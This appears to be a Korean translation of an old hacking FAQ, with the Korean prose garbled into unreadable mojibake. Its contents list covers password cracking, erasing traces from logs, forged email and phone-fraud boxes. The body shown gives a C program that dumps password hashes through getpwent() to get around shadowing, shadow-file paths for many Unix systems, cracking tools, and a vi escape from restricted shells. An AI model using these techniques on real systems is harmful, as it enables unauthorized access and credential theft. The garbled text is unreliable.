Hacking Frequently Asked Questions



UNIX¿¡¼­ ¾î¶»°Ô Æнº¿öµå ÆÄÀÏ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ³ª?

UNIX Æнº¿öµå¸¦ ¾î¶»°Ô ±ú³ª?

Æнº¿öµå »õµµ¿ì¶õ ¹«¾ùÀΰ¡?

»õµµ¿ìÈ­ µÇ¾î ÀÖ´Â Æнº¿öµå ÆÄÀÏÀº ¾îµð¼­ 㳪?

NIS/yp¶õ ¹«¾ùÀΰ¡?

Æнº¿öµå ÆÄÀÏ¿¡¼­ ½±Ç¥µÚ¿¡ ³ª¿À´Â ÀÌ»óÇÑ ¹®ÀÚµéÀº ¹«¾ùÀΰ¡?

VMSÀÇ Æнº¿öµå ÆÄÀÏ¿¡ ¾î¶»°Ô Á¢±ÙÇϳª?

VMS ¿¡¼­´Â ¾î¶»°Ô Æнº¿öµå¸¦ ±ú³ª?

VMS¿¡¼­ ¹«¾ùÀ» ·Î±×·Î ³²±â³ª?

VMS¿¡¼­ÀÇ ±ÇÇÑÀº ¾î¶² °ÍÀÌ ÀÖ³ª?

Á¦ÇÑµÈ ½©¿¡¼­ ¾î¶»°Ô ºüÁ® ³ª¿À³ª?

suid ½ºÅ©¸³Æ®³ª ÇÁ·Î±×·¥¿¡¼­ ¾î¶»°Ô rootÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ³ª?

½Ã½ºÅÛ ·Î±×¿¡¼­ ³» Á¸À縦 ¾ø¾Ö´Â ¹æ¹ýÀº?

À§Á¶ ¸ÞÀÏ(E-mail)Àº ¾î¶»°Ô º¸³»³ª?

Usenet¿¡¼­´Â ¾î¶»°Ô À§Á¶ ¸Þ½ÃÁö¸¦ Á¶ÀÛÇÏ°í Æ÷½ºÆÃÇÒ ¼ö ÀÖ³ª?

IRC¿¡¼­ ¾î¶»°Ô ChanOp(channel operator)¸¦ ÇØÅ·ÇÒ ¼ö ÀÖ³ª?

¾î¶»°Ô IRC Ŭ¶óÀ̾ðÆ®¸¦ °íÃļ­ ³» ÁøÂ¥ À̸§À» ¼û±æ ¼ö ÀÖ³ª?

ÀÌ»óÇÑ ¹®ÀÚ°¡ µé¾îÀÖ´Â µð·ºÅ丮¿¡ ¾î¶»°Ô µé¾î°¥ ¼ö ÀÖ³ª?

ÀÌ´õ³Ý ¿³º¸±â(ethernet sniffing)¶õ ¹«¾ùÀΰ¡?

ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾ó(Internet Outdial)À̶õ?

ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾óÀº ¾îµð¿¡ ÀÖ³ª?

ÀÌ ½Ã½ºÅÛÀº ¹«¾ùÀΰ¡?

XXX¿¡¼­ÀÇ Ã³À½(default) Æнº¿öµå´Â ¹«¾ùÀΰ¡?

Æ®·ÎÀ̸ñ¸¶/¿ú/¹ÙÀÌ·¯½º/³í¸® ÆøźÀ̶õ ¹«¾ùÀΰ¡?

¹ÙÀÌ·¯½º °°Àº °ÍÀ¸·ÎºÎÅÍ ³ª ÀÚ½ÅÀ» ¾î¶»°Ô º¸È£ÇÒ °ÍÀΰ¡?

¹ÙÀÌ·¯½º¿¡ ´ëÇÑ Á¤º¸´Â ¾îµð¼­ ¾òÀ» ¼ö ÀÖ³ª?

¾ÏÈ£xxx¶õ ¹«¾ùÀΰ¡?

PGP¶õ ¹«¾ùÀΰ¡?

Tempest¶õ ¹«¾ùÀΰ¡?

À͸í ÀçÀü¼Û ¸ÞÀÏ(anonymous remailer)À̶õ ¹«¾ùÀΰ¡?

À͸í ÀçÀü¼Û ¸ÞÀÏÀº ¾îµð¿¡ ÀÖ³ª?

º¹»ç ¹æÁö¸¦ ¾î¶»°Ô ±ú³ª?

127.0.0.1Àº ¹«¾ùÀΰ¡?

°ü¸®ÀÚ ÀÖ´Â ´º½º±×·ì(moderated newsgroup)¿¡ ¾î¶»°Ô Æ÷½ºÆÃÀ» Çϳª?

e-mail·Î Usenet¿¡ ¾î¶»°Ô Æ÷½ºÆÃÀ» Çϳª?

BIOS Æнº¿öµå´Â ¾î¶»°Ô ±ú³ª?

¾ÏȣȭµÈ ÆÄÀÏÀÇ Æнº¿öµå´Â ¹«¾ùÀΰ¡?

C/C++ ·Î ½ÇÇàÄڵ带 ¿ªÄÄÆÄÀÏÇÒ ¼ö ÀÖ´Â °¡´É¼ºÀº ¾ø´Â°¡?

MS-WindowsÀÇ Æнº¿öµå ¾ÏÈ£´Â ¾î¶»°Ô µ¿ÀÛÇϳª?

³ª Àý. ÀüÈ­ÇØÅ·(Telephony)

Àû»ö ±â°è(Red Box)¶õ ¹«¾ùÀΰ¡?

Àû»ö ±â°è´Â ¾î¶»°Ô ¸¸µå³ª?

6.5536MhzÀÇ ¼öÁ¤Áøµ¿ÀÚ´Â ¾îµð¼­ ±¸Çϳª?

Àû»ö ±â°è°¡ µ¿ÀÛÇÏ´Â °øÁßÀüÈ­´Â ¾î¶² °ÍÀΰ¡?

Àû»ö ±â°è·Î ¾î¶»°Ô ½Ã³» ÀüÈ­¸¦ ÇÒ ¼ö ÀÖ³ª?

û»ö ±â°è(Blue Box)¶õ ¹«¾ùÀΰ¡?

û»ö ±â°è´Â ¾ÆÁ÷ »ç¿ëÇÒ ¼ö ÀÖ³ª?

À¯»ö ±â°è(colored box)´Â ¸ðµÎ ¹«½¼ ±â´ÉÀÌ ÀÖ³ª?

ANAC ¹øÈ£¶õ ¹«¾ùÀΰ¡?

³»°¡ ÀÖ´Â Áö¿ªÀÇ ANAC ¹øÈ£´Â?

Àç½ÅÈ£(ringback) ¹øÈ£¶õ ¹«¾ùÀΰ¡?

³»°¡ ÀÖ´Â Áö¿ªÀÇ Àç½ÅÈ£ ¹øÈ£´Â?

¿¬°á¹øÈ£(loop)À̶õ?

³»°¡ ÀÖ´Â Áö¿ªÀÇ ¿¬°á¹øÈ£´Â?

CNA¹øÈ£¶õ ¹«¾ùÀΰ¡?

³»°¡ ÀÖ´Â Áö¿ªÀÇ Àüȭȸ»ç CNA¹øÈ£´Â?

Ç×»ó ÅëÈ­ÁßÀÎ ¹øÈ£´Â ¹«¾ùÀΰ¡?

ÀüÈ­ ¼­ºñ½º¸¦ Àá½Ã Áß´ÜÇÏ´Â ¹øÈ£´Â ¹«¾ùÀΰ¡?

°¨½Ã Å×½ºÆ® ÀåÄ¡(Proctor Test Set)¶õ?

³»°¡ ÀÖ´Â Áö¿ªÀÇ °¨½Ã Å×½ºÆ® ÀåÄ¡´Â ¹«¾ùÀΰ¡?

½ºÄ³´×(scanning)À̶õ?

½ºÄ³´×Àº ºÒ¹ýÀΰ¡?

ÀüÈ­¼ö¸®°øÀÇ Àåºñ¸¦ ¾îµð¼­ »ì ¼ö ÀÖ³ª?

DTMF ÁÖÆļö¶õ ¹«¾ùÀΰ¡?

ÀüÈ­À½ÀÇ ÁÖÆļö´Â ¹«¾ùÀΰ¡?

* (LASS)ÄÚµå´Â ¸ðµÎ ¹«¾ùÀΰ¡?

¹«¼± ÀüÈ­°¡ ÀÛµ¿ÇÏ´Â ÁÖÆļö´Â ¹«¾ùÀΰ¡?

¹ß½ÅÀÚ ½Äº°ÀÚ(caller-ID)´Â ¹«¾ùÀΰ¡?

¹ß½ÅÀÚ ½Äº°ÀÚ´Â ¾î¶»°Ô ¸·À» ¼ö ÀÖ³ª?

PBX ¶õ ¹«¾ùÀΰ¡?

VMB¶õ ¹«¾ùÀΰ¡?

ABCD À½Àº ¹«¾ùÀ» À§ÇÑ °ÍÀΰ¡?

±¹Á¦ Á÷Á¢ ¹øÈ£(International Direct Number)¶õ ¹«¾ùÀΰ¡?


¹«¼± ÀüÈ­

MTSO¶õ ¹«¾ùÀΰ¡?

NAMÀ̶õ ¹«¾ùÀΰ¡?

ESNÀ̶õ ¹«¾ùÀΰ¡?

MINÀº ¹«¾ùÀΰ¡?

SCMÀ̶õ ¹«¾ùÀΰ¡?

SIDH¶õ ¹«¾ùÀΰ¡?

ÁøÇà/¹ÝÀü(forward/reverse) ä³ÎÀ̶õ?


»çÀÌÆ®´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â fsp »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â ´º½º±×·ìÀº ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â telnet »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â gopher »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â WWW »çÀÌÆ®´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â IRC ä³ÎÀº ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â BBS´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â Ã¥Àº ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â ºñµð¿À´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¸ÞÀϸµ ¸®½ºÆ®´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â ÃâÆǹ°Àº ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â e-zine(ÀüÀÚÀâÁö)´Â ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â ±â°üÀº ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¶óµð¿À ÇÁ·Î±×·¥Àº ¹«¾ùÀΰ¡?

ÇØÄ¿¿¡°Ô °ü½É°¡´Â FAQ(frequentlry asked question)´Â ¹«¾ùÀΰ¡?

ÀÚ±â¶ì(magnetic stripe)ÀÇ ÀÎÄÚ´õ(encoder)¿Í µðÄÚ´õ(decoder)´Â ¾îµð¼­ ±¸ÀÔÇϳª?

¹«Áö°³»ö Ã¥Àº ¹«¾ùÀÌ¸ç ¾îµð¼­ ±¸ÇÒ ¼ö ÀÖ³ª?

alt.2600À̶õ ¹«¾ùÀΰ¡?

2600Àº ¹«¾ùÀ» ÀǹÌÇϳª?

2600ÀÌ ¿Â¶óÀÎ ÇüÅ·ΠÁ¸ÀçÇϴ°¡?

¼­Á¡¿¡¼­ 2600À» ±¸ÇÒ ¼ö ¾ø´Ù¸é ¾î¶»°Ô ÇØ¾ß Çϳª?

2600À» °¡ÆÇ´ë¿¡¼­ »ç´Â °Íº¸´Ù ÁÖ¹®ÇÏ´Â °ÍÀÌ ¿Ö ´õ ºñ½Ñ°¡?


±âŸ

XXX´Â ¹«¾ùÀ» ÀǹÌÇϳª?

³»°¡ ¹Ù¸¥ ½Å¿ëÄ«µå ¹øÈ£¸¦ °¡Áö°í ÀÖ´ÂÁö ¾î¶»°Ô ȹÀÎÇϳª?

Àڱ⶧ÀÇ µ¥ÀÌÅÍ ¹èÄ¡´Â ¾î¶² °ÍÀΰ¡?

ÇØÅ·ÀÇ À±¸®´Â ¹«¾ùÀΰ¡?




UNIX¿¡¼­ ¾î¶»°Ô Æнº¿öµå ÆÄÀÏ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ³ª?

Ç¥ÁØ UNIX¿¡¼­ Æнº¿öµå ÆÄÀÏÀº /etc/passwdÀÌ´Ù. UNIX Áß¿¡¼­ NIS/yp ¶Ç´Â Æнº¿öµå »õµµ¿ì±â´ÉÀ» °®Ãá °æ¿ì¿¡ Æнº¿öµå Á¤º¸´Â ´Ù¸¥ °÷¿¡ ÀÖ´Ù. Æнº¿öµå ÆÄÀÏÀÇ ¿£Æ®¸®´Â 7°³ÀÇ ÄÝ·ÐÀ¸·Î ±¸ºÐµÈ Çʵ尡 ÀÖ´Ù.

±¸ºÐÇؼ­ º¸¸é, ÀÌ Æнº¿öµå ÆÄÀÏÀÇ ÁÙÀº ´ÙÀ½°ú °°´Ù.

Username(»ç¿ëÀÚ À̸§)

¾ÏȣȭµÈ Æнº¿öµå (¼±ÅÃÀûÀÎ Æнº¿öµå ¼ö¸í µ¥ÀÌÅÍ)

»ç¿ëÀÚ ¹øÈ£

±×·ì ¹øÈ£

GECOS Á¤º¸

Ȩ µð·ºÅ丮

½©

]

] /etc/passwdÀÇ ¿£Æ®¸®ÀÇ ÀÏ·Ê:

]

] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

]


UNIX Æнº¿öµå¸¦ ¾î¶»°Ô ±ú³ª?

ÀϹÝÀûÀÎ ¹ÏÀ½°ú´Â »ó¹ÝµÇ°ÚÁö¸¸, UNIXÀÇ Æнº¿öµå ÆÄÀÏÀº Çص¶ÇÒ ¼ö ¾ø´Ù. UNIX Æнº¿öµå´Â ´Ü¹ÝÇâ ÇÔ¼ö(one way function)À¸·Î ¾ÏȣȭµÇ¾î ÀÖ´Ù. ·Î±×ÀÎ ÇÁ·Î±×·¥Àº "password:"¶ó°í Ç¥½ÃµÇ´Â ÇÁ·ÒÇÁÆ®¿¡¼­ ÀԷµǴ Æнº¿öµå¸¦ ¾ÏȣȭÇÏ¿© Æнº¿öµå ÆÄÀÏ¿¡ ¾ÏȣȭµÈ Æнº¿öµå¿Í ºñ±³ÇÑ´Ù. Æнº¿öµå¸¦ ±ú´Â ÇÁ·Î±×·¥(password cracking program)Àº ´Ü¾îÀå(wordlist)¸¦ ÀÌ¿ëÇÑ´Ù. ´Ü¾îÀå¿¡ ÀÖ´Â ´Ü¾î Çϳª¾¿À» ¾ÏȣȭÇÏ¿© Æнº¿öµå ÆÄÀÏ¿¡ ÀÖ´Â ¾ÏÈ£¿Í ºñ±³ÇÑ´Ù. Áö±Ý±îÁö ³ª¿Í ÀÖ´Â °¡Àå ÁÁÀº Æнº¿öµå ±ú´Â ÇÁ·Î±×·¥Àº Alec MuffettÀÌ ÀÛ¼ºÇÑ CrackÀÌ´Ù. DOS¿ë ÇÁ·Î±×·¥À¸·Î´Â CrackJackÀÌ °¡Àå ÁÁ´Ù. CrackJackÀº ftp¸¦ ÀÌ¿ëÇÏ¿© clark.netÀÇ /ub/jcase/ µð·ºÅ丮¿¡¼­ ±¸ÇÒ ¼ö ÀÖ´Ù.

Æнº¿öµå »õµµ¿ì¶õ ¹«¾ùÀΰ¡?

Æнº¿öµå »õµµ¿ì¶õ º¸¾È ½Ã½ºÅÛÀ¸·Î¼­ ¾ÏȣȭµÈ /etc/passwdÀÇ Æнº¿öµå Çʵ尡 Ưº°ÇÑ ¹®ÀڷΠġȯµÇ¾î ÀÖÀ¸¸ç, ½ÇÁ¦ÀÇ Æнº¿öµå´Â Á¤»óÀûÀÎ »ç¿ëÀÚ°¡ ÀÐÀ» ¼ö ¾ø´Â ÆÄÀÏ¿¡ ÀúÀåµÇ¾î ÀÖ´Ù. ´ëºÎºÐ(ÀüºÎ´Â ¾Æ´Ï°í)ÀÇ ½Ã½ºÅÛ¿¡¼­ Æнº¿öµå »õµµ¿ì¸¦ ±ú±â À§Çؼ­ getpwent()ÇÔ¼ö¸¦ ¿¬¼ÓÀûÀ¸·Î ºÎ¸£´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ¿© Æнº¿öµå ÆÄÀÏÀ» ¸¸µé ¼ö ÀÖ´Ù.

¿¹:

#include <pwd.h>

main()

{

struct passwd *p;

while(p=getpwent())

printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,

p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

}


»õµµ¿ìÈ­ µÇ¾î ÀÖ´Â Æнº¿öµå ÆÄÀÏÀº ¾îµð¼­ 㳪?

Unix Path(°æ·Î) Token

-----------------------------------------------------------------

AIX 3 /etc/security/passwd !

or /tcb/auth/files/<first letter #

of username>/<username>

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Reno /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files/<first letter *

of username>/<username>

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow

<optional NIS+ private secure maps/tables/whatever>

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb *


NIS/yp¶õ ¹«¾ùÀΰ¡?

NIS(Network Information System)Àº ÇöÀçÀÇ À̸§ÀÌ°í ¿¹Àü¿¡´Â yp(Yellow Page)¶ó°í ºÒ¸®¿ü´Ù. NISÀÇ ¸ñÀûÀº ³×Æ®¿öÅ©¿¡¼­ ¿©·¯ ±â°èµéÀÌ Æнº¿öµå¿Í °°Àº ±¸¼ºÁ¤º¸¸¦ °øÀ¯Çϱâ À§ÇÔÀÌ´Ù. NIS´Â ½Ã½ºÅÛ º¸¾ÈÀ» À§Çؼ­ ¼³°èµÇ¾î ÀÖÁö ¾Ê´Ù. NIS¸¦ ÀÌ¿ëÇÏ°í ÀÖ´Ù¸é /etc/passwd ÆÄÀÏ¿¡ ´ÙÀ½°ú °°Àº °ÍÀÌ µé¾î ÀÖ´Ù.

+::0:0:::

½ÇÁ¦ Æнº¿öµå ÆÄÀÏÀ» º¸±â À§Çؼ­ "ypcat passwd" ¸í·ÉÀ» ÀÌ¿ëÇÏ¸é µÈ´Ù.

Æнº¿öµå ÆÄÀÏ¿¡¼­ ½±Ç¥µÚ¿¡ ³ª¿À´Â ÀÌ»óÇÑ ¹®ÀÚµéÀº ¹«¾ùÀΰ¡?

¹®ÀÚ´Â Æнº¿öµå ¼ö¸í(age)À» ³ªÅ¸³»´Â °ÍÀÌ´Ù. Æнº¿öµå ¼ö¸íÀº °ü¸®ÀÚ°¡ Á¤ÇÑ ±âÀÏ ³»¿¡ Æнº¿öµå ÆÄÀÏÀ» ¹Ù²Ùµµ·Ï ÇÑ´Ù. Æнº¿öµå ¼ö¸íÀº »ç¿ëÀÚ°¡ Æнº¿öµå¸¦ ¹Ù²Ù±â Àü¿¡ Á¤ÇØÁø ½Ã°£¸¸Å­Àº »ç¿ëÇϵµ·Ï Çϱ⵵ ÇÑ´Ù.

]

] Æнº¿öµå ¼ö¸í ±â´ÉÀÌ µé¾î ÀÖ´Â /etc/passwd ÆÄÀÏÀÇ ÀÏ·Ê

]

] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash

]

¾ÏȣȭµÈ Æнº¿öµå ÇÊµå µÚÀÇ ½°Ç¥¿¡ ÁÖÀÇÇÏÀÚ. ½°Ç¥µÚ¿¡ ³ª¿À´Â ¹®ÀÚ´Â ¸ðµÎ Æнº¿öµå ¼ö·É±â¹ýÀ» À§Çؼ­ »ç¿ëµÈ´Ù.

]

] À§ ¿¹¿¡¼­ÀÇ Æнº¿öµå ¼ö¸í ¹®ÀÚ

]

] M.z8

]

4 °³ÀÇ ¹®ÀÚ°¡ ´ÙÀ½°ú °°ÀÌ ¹ø¿ªµÈ´Ù.

1: Æнº¿öµå¸¦ º¯°æÇÏÁö ¾Ê°í »ç¿ëÇÒ ¼ö ÀÖ´Â ÃÖ´ë ÁÖ(week)ÀÇ ¼ö

2: Æнº¿öµå¸¦ º¯°æÇϱâ Àü±îÁö »ç¿ëÇØ¾ß ÇÒ ÃÖ¼Ò ÁÖ(week)ÀÇ ¼ö

3&4: 1970³â ÀÌÈÄ·Î ÁÖÀÇ ¼ö·Î ¸¶Áö¸· Æнº¿öµå°¡ ¹Ù²ï ¶§

3°¡Áö Ưº°ÇÑ °æ¿ì°¡ ÀÖ´Ù.

ù ¹ø°¿Í µÎ ¹ø° ¹®ÀÚ°¡ '..'·Î ¼³Á¤µÇ¾î ÀÖÀ» ¶§, »ç¿ëÀÚ´Â ´ÙÀ½¿¡ ·Î±×ÀÎÇÒ ¶§ Æнº¿öµå¸¦ ¹Ù²ã¾ß¸¸ ÇÑ´Ù. ±×¸®°í³ª¼­ Æнº¿öµå ÇÁ·Î±×·¥Àº Æнº¿öµå ¼ö¸í ¹®ÀÚ¸¦ ¾ø¾Ö°í, »ç¿ëÀÚ´Â ´Ù½Ã »õ·Î¿î Æнº¿öµå ¼ö¸í¿¡ Àû¿ëÀ» ¹Þ°Ô µÈ´Ù.

¼¼ ¹ø°¿Í ³× ¹ø° ¹®ÀÚ°¡ '..'·Î ¼³Á¤µÇ¾î ÀÖÀ» ¶§, »ç¿ëÀÚ´Â ´ÙÀ½¿¡ ·Î±×ÀÎÇÒ ¶§ Æнº¿öµå¸¦ ¹Ù²ã¾ß ÇÑ´Ù. Æнº¿öµå ÇÁ·Î±×·¥Àº ù ¹ø° µÎ ¹ø°ÀÇ °æ¿ì¿Í °°Àº ÇൿÀ» ÇÑ´Ù.

¸¸ÀÏ Ã¹ ¹ø° ¹®ÀÚ(MAX)°¡ µÎ ¹ø° ¹®ÀÚ(MIN) º¸´Ù ÀÛÀ» °æ¿ì, »ç¿ëÀÚ´Â Æнº¿öµå¸¦ ¹Ù±¼ ¼ö ÀÖ´Â Çã°¡°¡ ¹ÚÅ»µÈ´Ù. root¸¸ÀÌ ÀÌ »ç¿ëÀÚÀÇ Æнº¿öµå¸¦ º¯°æÇÒ ¼ö ÀÖ´Ù.

su ¸í·ÉÀº Æнº¿öµå ¼ö¸í µ¥ÀÌÅ͸¦ °Ë»çÇÏÁö ¾Ê´Â´Ù´Âµ¥ À¯ÀÇÇϱ⠹ٶõ´Ù. ¸»¼ÒµÈ Æнº¿öµå¸¦ °¡Áø °èÁ¤À¸·Î su¸¦ ÇàÇÒ ¼ö ÀÖ´Ù.

Æнº¿öµå ¼ö¸í ÄÚµå(Password Aging Codes)

+------------------------------------------------------------------------+

| |

| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |

| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |

| |

| Character: I J K L M N O P Q R S T U V W X Y Z a b |

| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |

| |

| Character: c d e f g h i j k l m n o p q r s t u v |

| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |

| |

| Character: w x y z |

| Number: 60 61 62 63 |

| |

+------------------------------------------------------------------------+

VMSÀÇ Æнº¿öµå ÆÄÀÏ¿¡ ¾î¶»°Ô Á¢±ÙÇϳª?

VMS¿¡¼­ Æнº¿öµå ÆÄÀÏÀº SYS$SYSTEM:SYSUAF.DATÀÌ´Ù. ±×·¯³ª, UNIX¿Í´Â ´Ù¸£°Ô ´ëºÎºÐÀÇ »ç¿ëÀÚ´Â Æнº¿öµå ÆÄÀÏÀ» ÀÐÀ» ¼ö ÀÖ´Â ±ÇÇÑÀÌ ¾ø´Ù.

VMS ¿¡¼­´Â ¾î¶»°Ô Æнº¿öµå¸¦ ±ú³ª?

SYS$GETUAF ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© SYSUAF.DAT¿¡ ÀÖ´Â ¾ÏȣȭµÈ Æнº¿öµå¿Í °á°ú¸¦ ºñ±³ÇÏ´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÑ´Ù.

µÎ °¡Áö ÇÁ·Î±×·¥ÀÌ Àִµ¥, CHECK_PASSWORD ¿Í GUESS_PASSWORDÀÌ´Ù.

·Î±×·Î ³²±â³ª?

VMSÀÇ °ÅÀÇ ¸ðµç °ÍÀ» ·Î±×·Î ³²±æ ¼ö ÀÖ´Ù. SHOW ACCOUNTING ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ½Ã½ºÅÛÀÇ ·Î±× »óŸ¦ Á¶»çÇÒ ¼ö ÀÖ´Ù. ½Ã½ºÅÛ °¨»ç°¡ º¸¾ÈÀÇ ¸ñÀûÀ¸·Î ·Î±× Á¤º¸¸¦ ³²±â´Â °Í¿¡ ¹ÝÇØ, °è…Á¤ ÀÌ¿ë»óÅ¿¡ ´ëÇÑ Á¤º¸¸¦ ³²±â´Â °ÍÀÌ ½Ã½ºÅÛ ¾îÄ«¿îÆÃÀÌ´Ù(CPU ÀÌ¿ë½Ã°£, Æ®¸°ÅÍ »ç¿ë µî). ¾îÄ«¿îÆÃÀ» ÇϱâÀ§Çؼ­´Â ´ÙÀ½°ú °°Àº ÀýÂ÷¸¦ µû¸¥´Ù.

$ SET ACCOUNTING [/ENABLE=(Activity...)]

ÀÌ·¸°Ô Çϸé, SYS$MANAGER:ACCOUNTING>DAT ÆÄÀÏ¿¡ °¨½Ã ·Î±×Á¤º¸¸¦ ³²±ä´Ù. ÀÌ°ÍÀº ¶ÇÇÑ ÀÌÀü ·Î±× ÆÄÀÏÀ» ´Ý°í »õ·Î¿î ¹öÀüÀÇ ·Î±×¸¦ ³²±ä´Ù.

´ÙÀ½°ú °°Àº °ÍÀÌ ·Î±×·Î ³²À» ¼ö ÀÖ´Ù.

BATCH Termination of a batch job

DETACHED Termination of a detached job

IMAGE Image execution

INTERACTIVE Interactive job termination

LOGIN_FAILURE Login failures

MESSAGE Users messages

NETWORK Network job termination

PRINT Print Jobs

PROCESS Any terminated process

SUBPROCESS Termination of a subprocess

º¸¾È °¨»ç¸¦ ÀÌ¿ëÇϱâ À§Çؼ­´Â

$ SET AUDIT

/ALARM Àº º¸¾È ¿î¿µÀÚ·Î ÁöÁ¤µÈ Å͹̳ο¡ °æ°í¸¦ ¿ï¸®±â À§Çؼ­ »ç¿ëÇÏ´Â ¿É¼ÇÀÌ´Ù. ´Ù½Ã ¸»Çؼ­ SECURITY ±ÇÇÑÀÌ ÇÊ¿äÇÔÀ» Àϱú¿ì´Â µ¥ »ç¿ëµÈ´Ù. º¸¾È °¨»ç ±¸¼ºÀ» $ SHOW AUDIT

/ALL¸í·ÉÀ» ÅëÇؼ­ ¾Ë¼ö ÀÖ´Ù.

º¸¾È °¨»ç´Â ´ÙÀ½°ú °°Àº ÇàÀ§¸¦ ·Î±×·Î ³²±âµµ·Ï ÇÒ ¼ö ÀÖ´Ù.

ACL Access Control List requested events

AUTHORIZATION Modification to the system user

authorization file SYS$SYSTEM:SYSUAF.DAT

BREAKIN Attempted Break-ins

FILE_ACCESS File or global section access

INSTALL Occurrence of any INSTALL operations

LOGFAILURE Any login failures

LOGIN A login attempt from various sources

LOGOUT Logouts

MOUNT Mount or dismount requests


VMS¿¡¼­ÀÇ ±ÇÇÑÀº ¾î¶² °ÍÀÌ ÀÖ³ª?

ACNT Allows you to restrain accounting messages

ALLSPOOL Allows you to allocate spooled devices

ALTPRI Allot Priority. This allows you to set any priority

value

BUGCHK Allows you make bug check error log entries

BYPASS Enables you to disregard protections

CMEXEC/

CMKRNL Change to executive or kernel mode. These privileges

allow a process to execute optional routines with KERNEL

and EXECUTIVE access modes. CMKRNL is the most powerful

privilege on VMS as anything protected can be accessed

if you have this privilege. You must have these

privileges to gain access to the kernel data structures

directly.

DETACH This privilege allow you to create detached processes of

arbitrary UICs

DIAGNOSE With this privilege you can diagnose devices

EXQUOTA Allows you to exceed your disk quota

GROUP This privilege grants you permission to affect other

processes in the same rank

GRPNAM Allows you to insert group logical names into the group

logical names table.

GRPPRV Enables you to access system group objects through

system protection field

LOG_IO Allows you to issue logical input output requests

MOUNT May execute the mount function

NETMBX Allows you to create network connections

OPER Allows you to perform operator functions

PFNMAP Allows you to map to specific physical pages

PHY_IO Allows you to perform physical input output requests

PRMCEB Can create permanent common event clusters

PRMGBL Allows you to create permanent global sections

PRMMBX Allows you to create permanent mailboxes

PSWAPM Allows you to change a processes swap mode

READALL Allows you read access to everything

SECURITY Enables you to perform security related functions

SETPRV Enable all privileges

SHARE Allows you to access devices allocated to other users.

This is used to assign system mailboxes.

SHMEM Enables you to modify objects in shared memory

SYSGBL Allows you to create system wide permanent global

sections

SYSLCK Allows you to lock system wide resources

SYSNAM Allows you to insert in system logical names in the

names table.

SYSPRV If a process holds this privilege then it is the same as

a process holding the system user identification code.

TMPMBX Allows you create temporary mailboxes

VOLPRO Enables you to override volume protection

WORLD When this is set you can affect other processes in the

world

ÇÁ·Î¼¼½º°¡ ¾î¶² ±ÇÇÑÀ¸·Î ¼öÇàÇÏ°í ÀÖ´ÂÁö ¾Ë±â À§Çؼ­ ´ÙÀ½°ú °°Àº ¸í·ÉÀ» »ç¿ëÇÑ´Ù.

$ show /proc/priv

Á¦ÇÑµÈ ½©¿¡¼­ ¾î¶»°Ô ºüÁ® ³ª¿À³ª?

À߸ø ÀÛ¼ºÇÑ Á¦ÇÑ ½©¿¡¼­´Â ½©¿¡¼­ »ç¿ëÇÏ´Â ±â´ÉÀ» °¡Áø ÇÁ·Î±×·¥À» ¼öÇàÇÔÀ¸·Î¼­ ºüÁ®³ª¿Ã ¼ö ÀÖ´Ù. ÁÁÀº ¿¹°¡ viÀÌ´Ù. vi¸¦ ¼öÇàÇÒ ¶§ ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÀÌ¿ëÇ϶ó.

:set shell=/bikn/sh

±×¸®°í ³ª¼­ ´ÙÀ¸¸ð°¡ °°Àº ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ½©À» ¾ò´Â´Ù.

: shell

